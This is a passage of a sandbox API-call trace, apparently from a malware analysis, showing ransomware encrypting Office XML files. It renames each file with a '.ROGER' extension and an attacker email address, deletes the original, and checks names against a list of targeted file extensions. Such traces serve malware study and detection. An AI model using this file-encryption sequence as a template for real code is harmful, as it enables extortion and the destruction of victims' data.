Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.139] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1457) returned 1 [0045.139] CloseHandle (hObject=0x3a8) returned 1 [0045.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0045.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.139] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.139] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.140] GetLastError () returned 0x0 [0045.140] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0045.141] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0045.142] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.142] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.143] SetEndOfFile (hFile=0x3a4) returned 1 [0045.143] CloseHandle (hObject=0x3a4) returned 1 [0045.143] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.143] SetEndOfFile (hFile=0x3a8) returned 1 [0045.144] CloseHandle (hObject=0x3a8) returned 1 [0045.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.144] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0045.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.144] lstrlenW (lpString=".doc") returned 4 [0045.144] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.144] lstrlenW (lpString=".docx") returned 5 [0045.144] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0045.144] lstrlenW (lpString=".pdf") returned 4 [0045.144] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.144] lstrlenW (lpString=".xls") returned 4 [0045.144] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.144] lstrlenW (lpString=".xlsx") returned 5 [0045.144] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0045.144] lstrlenW (lpString=".ppt") returned 4 [0045.144] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.144] lstrlenW (lpString=".zip") returned 4 [0045.145] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.145] lstrlenW (lpString=".rar") returned 4 [0045.145] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString=".bz2") returned 4 [0045.145] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString=".7z") returned 3 [0045.145] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.145] lstrlenW (lpString=".dbf") returned 4 [0045.145] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.145] lstrlenW (lpString=".1cd") returned 4 [0045.145] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.145] lstrlenW (lpString=".jpg") returned 4 [0045.145] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.145] lstrlenW (lpString=".doc") returned 4 [0045.145] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString=".docx") returned 5 [0045.145] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0045.145] lstrlenW (lpString=".pdf") returned 4 [0045.145] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString=".xls") returned 4 [0045.145] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString=".xlsx") returned 5 [0045.145] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0045.145] lstrlenW (lpString=".ppt") returned 4 [0045.145] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.145] lstrlenW (lpString=".zip") returned 4 [0045.145] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.146] lstrlenW (lpString=".rar") returned 4 [0045.146] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.146] lstrlenW (lpString=".bz2") returned 4 [0045.146] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.146] lstrlenW (lpString=".7z") returned 3 [0045.146] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.146] lstrlenW (lpString=".dbf") returned 4 [0045.146] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.146] lstrlenW (lpString=".1cd") returned 4 [0045.146] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0045.146] lstrlenW (lpString=".jpg") returned 4 [0045.146] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.146] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.146] lstrlenW (lpString="Proof.XML") returned 9 [0045.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.146] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1458) returned 1 [0045.147] CloseHandle (hObject=0x3a8) returned 1 [0045.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0045.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.147] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.147] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.147] GetLastError () returned 0x0 [0045.147] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0045.149] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0045.150] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.150] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.150] SetEndOfFile (hFile=0x3a4) returned 1 [0045.150] CloseHandle (hObject=0x3a4) returned 1 [0045.150] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.150] SetEndOfFile (hFile=0x3a8) returned 1 [0045.151] CloseHandle (hObject=0x3a8) returned 1 [0045.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.151] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.152] lstrlenW (lpString=".doc") returned 4 [0045.152] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString=".docx") returned 5 [0045.152] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0045.152] lstrlenW (lpString=".pdf") returned 4 [0045.152] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString=".xls") returned 4 [0045.152] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString=".xlsx") returned 5 [0045.152] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0045.152] lstrlenW (lpString=".ppt") returned 4 [0045.152] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.152] lstrlenW (lpString=".zip") returned 4 [0045.152] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.152] lstrlenW (lpString=".rar") returned 4 [0045.152] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString=".bz2") returned 4 [0045.152] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString=".7z") returned 3 [0045.152] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.152] lstrlenW (lpString=".dbf") returned 4 [0045.152] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.152] lstrlenW (lpString=".1cd") returned 4 [0045.152] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.152] lstrlenW (lpString=".jpg") returned 4 [0045.153] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.153] lstrlenW (lpString=".doc") returned 4 [0045.153] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString=".docx") returned 5 [0045.153] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0045.153] lstrlenW (lpString=".pdf") returned 4 [0045.153] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString=".xls") returned 4 [0045.153] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString=".xlsx") returned 5 [0045.153] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0045.153] lstrlenW (lpString=".ppt") returned 4 [0045.153] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.153] lstrlenW (lpString=".zip") returned 4 [0045.153] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.153] lstrlenW (lpString=".rar") returned 4 [0045.153] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString=".bz2") returned 4 [0045.153] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString=".7z") returned 3 [0045.153] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.153] lstrlenW (lpString=".dbf") returned 4 [0045.153] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.153] lstrlenW (lpString=".1cd") returned 4 [0045.153] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0045.153] lstrlenW (lpString=".jpg") returned 4 [0045.154] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.154] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.154] lstrlenW (lpString="Proofing.XML") returned 12 [0045.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.155] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=811) returned 1 [0045.155] CloseHandle (hObject=0x3a8) returned 1 [0045.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0045.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.155] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.155] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.155] GetLastError () returned 0x0 [0045.155] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x32b, lpOverlapped=0x0) returned 1 [0045.157] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x330, lpOverlapped=0x0) returned 1 [0045.157] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.158] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.158] SetEndOfFile (hFile=0x3a4) returned 1 [0045.158] CloseHandle (hObject=0x3a4) returned 1 [0045.158] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.158] SetEndOfFile (hFile=0x3a8) returned 1 [0045.159] CloseHandle (hObject=0x3a8) returned 1 [0045.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.159] lstrlenW (lpString=".doc") returned 4 [0045.159] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.159] lstrlenW (lpString=".docx") returned 5 [0045.159] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0045.159] lstrlenW (lpString=".pdf") returned 4 [0045.159] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.159] lstrlenW (lpString=".xls") returned 4 [0045.159] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.159] lstrlenW (lpString=".xlsx") returned 5 [0045.159] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0045.160] lstrlenW (lpString=".ppt") returned 4 [0045.160] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.160] lstrlenW (lpString=".zip") returned 4 [0045.160] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.160] lstrlenW (lpString=".rar") returned 4 [0045.160] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString=".bz2") returned 4 [0045.160] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString=".7z") returned 3 [0045.160] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.160] lstrlenW (lpString=".dbf") returned 4 [0045.160] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.160] lstrlenW (lpString=".1cd") returned 4 [0045.160] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.160] lstrlenW (lpString=".jpg") returned 4 [0045.160] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.160] lstrlenW (lpString=".doc") returned 4 [0045.160] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString=".docx") returned 5 [0045.160] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0045.160] lstrlenW (lpString=".pdf") returned 4 [0045.160] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString=".xls") returned 4 [0045.160] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.160] lstrlenW (lpString=".xlsx") returned 5 [0045.161] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0045.161] lstrlenW (lpString=".ppt") returned 4 [0045.161] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.161] lstrlenW (lpString=".zip") returned 4 [0045.161] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.161] lstrlenW (lpString=".rar") returned 4 [0045.161] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.161] lstrlenW (lpString=".bz2") returned 4 [0045.161] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.161] lstrlenW (lpString=".7z") returned 